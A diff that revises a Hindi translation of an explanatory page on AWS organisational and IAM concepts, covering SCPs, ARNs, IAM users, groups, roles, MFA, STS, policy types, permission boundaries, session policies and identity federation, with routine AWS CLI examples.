+यह एकमात्र तरीका है कि **यहां तक कि रूट उपयोगकर्ता को कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\
इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता को अवरुद्ध नहीं किया जा सकता)।
> [!WARNING]
-> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि एक SCP `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा।
+> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा।
SCP उदाहरण:
- रूट खाते को पूरी तरह से अस्वीकार करें
- केवल विशिष्ट क्षेत्रों की अनुमति दें
-- केवल श्वेतसूचीबद्ध सेवाओं की अनुमति दें
+- केवल श्वेत-पत्रित सेवाओं की अनुमति दें
- GuardDuty, CloudTrail, और S3 सार्वजनिक ब्लॉक एक्सेस को निष्क्रिय करने से रोकें
- सुरक्षा/घटना प्रतिक्रिया भूमिकाओं को हटाने या
@@ -66,43 +66,43 @@ SCP उदाहरण:
### ARN
-**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के अंदर हर संसाधन का होता है, यह इस तरह से बना होता है:
+**Amazon Resource Name** AWS के अंदर हर संसाधन का **विशिष्ट नाम** है, यह इस प्रकार से बना है:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+ध्यान दें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - पहचान और पहुँच प्रबंधन
+## IAM - पहचान और पहुंच प्रबंधन
-IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है।
+IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुंच नियंत्रण** प्रबंधित करने की अनुमति देती है।
- **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है।
-- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या पहुँच सकती है जब इसे प्रमाणित किया गया हो।
-- **पहुँच नियंत्रण** - सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया।
+- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे इसके लिए प्रमाणित किया गया हो।
+- **पहुंच नियंत्रण** - यह सुरक्षित संसाधन तक पहुंच कैसे दी जाती है, इसकी विधि और प्रक्रिया
-IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकता है।
+IAM को इसकी पहचान के लिए आपके AWS खाते के भीतर संसाधनों के लिए प्रमाणीकरण, अधिकार और पहुंच नियंत्रण तंत्रों को प्रबंधित, नियंत्रित और शासित करने की क्षमता द्वारा परिभाषित किया जा सकता है।
### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एकल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
+जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुंच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
ध्यान दें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**।
-सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है।
+सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस उपयोगकर्ता का उपयोग करने से बचना अनुशंसित है।
### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और दो तक पहुँच कुंजी) होता है।
+एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होते हैं।
-जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, इसे एक **उपयोगकर्ता समूह का सदस्य बनाकर** जो उचित अनुमति नीतियों से जुड़ा होता है (अनुशंसित), या **सीधे उपयोगकर्ता पर नीतियाँ संलग्न करके**।
+जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, जिससे यह एक **उपयोगकर्ता समूह का सदस्य बनता है** जिसमें उपयुक्त अनुमति नीतियाँ संलग्न होती हैं (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से संलग्न करके।
-उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
+उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुंच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
#### CLI
@@ -114,7 +114,7 @@ IAM को इसकी क्षमता द्वारा परिभाष
### MFA - मल्टी फैक्टर प्रमाणीकरण
-यह आपके मौजूदा तरीकों, जैसे पासवर्ड, के अतिरिक्त **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनता है।\
+यह आपके मौजूदा तरीकों के अलावा **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, जैसे पासवर्ड, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनाना।\
आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक उपकरण** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं:
@@ -123,39 +123,39 @@ MFA शर्तों वाली नीतियाँ निम्नलि
- एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय
- एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है
-यदि आप **CLI के माध्यम से पहुँच** करना चाहते हैं एक संसाधन जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
-ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती**।
+यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जांच करता है** तो आपको **`GetSessionToken`** कॉल करने की आवश्यकता है। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
+ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती है**।
```bash
aws sts get-session-token --serial-number --token-code
```
-As [**यहां कहा गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**।
+जैसा कि [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), ऐसे कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**।
### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं के लिए नीतियों को संलग्न किया जा सकता है**, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो सकता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**।
+एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**।
-आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ हैं।
+आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह** से जोड़ सकते हैं ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होती हैं।
-यहां उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं:
+उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं:
-- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता हो सकते हैं**, और एक **उपयोगकर्ता** **कई समूहों का सदस्य हो सकता है**।
+- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**।
- **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं।
-- **AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
+- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
- AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें।
### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ कोई **क्रेडेंशियल्स** (पासवर्ड या एक्सेस कुंजी) नहीं होते। एक व्यक्ति के साथ विशेष रूप से जुड़े होने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
+एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ **कोई प्रमाण-पत्र** (पासवर्ड या एक्सेस कुंजी) नहीं होता है। एक व्यक्ति के साथ विशेष रूप से जुड़ने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका को अपना सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**।
#### AWS सुरक्षा टोकन सेवा (STS)
-AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है:
+AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार प्रमाण-पत्रों** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है:
-### [IAM में अस्थायी क्रेडेंशियल्स](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+### [IAM में अस्थायी प्रमाण-पत्र](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**अस्थायी क्रेडेंशियल्स मुख्य रूप से IAM भूमिकाओं के साथ उपयोग की जाती हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी क्रेडेंशियल्स का अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनुमत नहीं किए गए कार्यों को गलती से करने से रोकता है**। अस्थायी क्रेडेंशियल्स का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि क्रेडेंशियल्स कितने समय तक मान्य हैं।
+**अस्थायी प्रमाण-पत्र मुख्य रूप से IAM भूमिकाओं के साथ उपयोग किए जाते हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी प्रमाण-पत्रों के लिए अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनजाने में उन कार्यों को करने से रोकता है जो अधिक सीमित प्रमाण-पत्रों द्वारा अनुमति नहीं दी गई हैं**। अस्थायी प्रमाण-पत्रों का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि प्रमाण-पत्र कितने समय तक मान्य हैं।
### नीतियाँ
@@ -167,7 +167,7 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
- ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर।
**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, यदि एक स्पष्ट भूमिका निर्दिष्ट की गई है तो पहुँच दी जाएगी।\
-यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा क्रेडेंशियल्स का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
+यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा प्रमाण-पत्रों का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -190,33 +190,33 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
]
}
```
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+[वैश्विक फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[विशिष्ट फ़ील्ड जो सेवा के अनुसार शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
-#### Inline Policies
+#### इनलाइन नीतियाँ
इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, वे नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\
-Inline policies उपयोगी होती हैं यदि आप **एक नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि किसी नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक inline policy का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकतीं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं।
+इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं**। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं।
-#### Resource Bucket Policies
+#### संसाधन बाल्टी नीतियाँ
-ये **नीतियाँ** हैं जिन्हें **संसाधनों** में परिभाषित किया जा सकता है। **AWS के सभी संसाधन उनका समर्थन नहीं करते**।
+ये **नीतियाँ** हैं जो **संसाधनों** में परिभाषित की जा सकती हैं। **AWS के सभी संसाधन उनका समर्थन नहीं करते**।
यदि किसी प्रमुख के पास उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है।
-### IAM Boundaries
+### IAM सीमाएँ
-IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने के लिए** उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **एक अलग नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा।
+IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने के लिए** उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **विभिन्न नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा।
-एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **यह संकेत करती है कि उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों का स्तर क्या हो सकता है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा यह संकेत करती है कि वह केवल S· बकेट पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है।
+एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों के स्तर को इंगित करती है**। तो, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा इंगित करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है।
**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकताओं से अधिक अनुमतियाँ नहीं हैं।
-### Session Policies
+### सत्र नीतियाँ
-एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)।
+एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को अपनाया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)।
-यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
+यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका को अपनाने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
```bash
aws sts assume-role \
--role-arn \
@@ -224,18 +224,18 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+नोट करें कि डिफ़ॉल्ट रूप से **AWS सत्रों में सत्र नीतियाँ जोड़ सकता है** जो तीसरे कारणों के कारण उत्पन्न होने वाले हैं। उदाहरण के लिए, [अप्रमाणित कॉग्निटो अनुमोदित भूमिकाओं](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) में डिफ़ॉल्ट रूप से (सुधारित प्रमाणीकरण का उपयोग करते हुए), AWS **सत्र नीति के साथ सत्र क्रेडेंशियल्स** उत्पन्न करेगा जो उस सत्र को पहुँचने वाली सेवाओं को सीमित करता है [**निम्नलिखित सूची**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)।
-इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को कार्रवाई करने की अनुमति है, तो इसका कारण है कि **एक सत्र नीति इसे रोक रही है**।
+इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को क्रिया करने की अनुमति है, तो इसका मतलब है कि **एक सत्र नीति इसे रोक रही है**।
### पहचान संघ
-पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना किसी मान्य IAM उपयोगकर्ता खाते से AWS उपयोगकर्ता क्रेडेंशियल प्रदान किए।\
-एक पहचान प्रदाता का उदाहरण आपका अपना कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
+पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स को एक मान्य IAM उपयोगकर्ता खाते से प्रदान किए।\
+एक पहचान प्रदाता का उदाहरण आपके अपने कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
-इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से एक उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
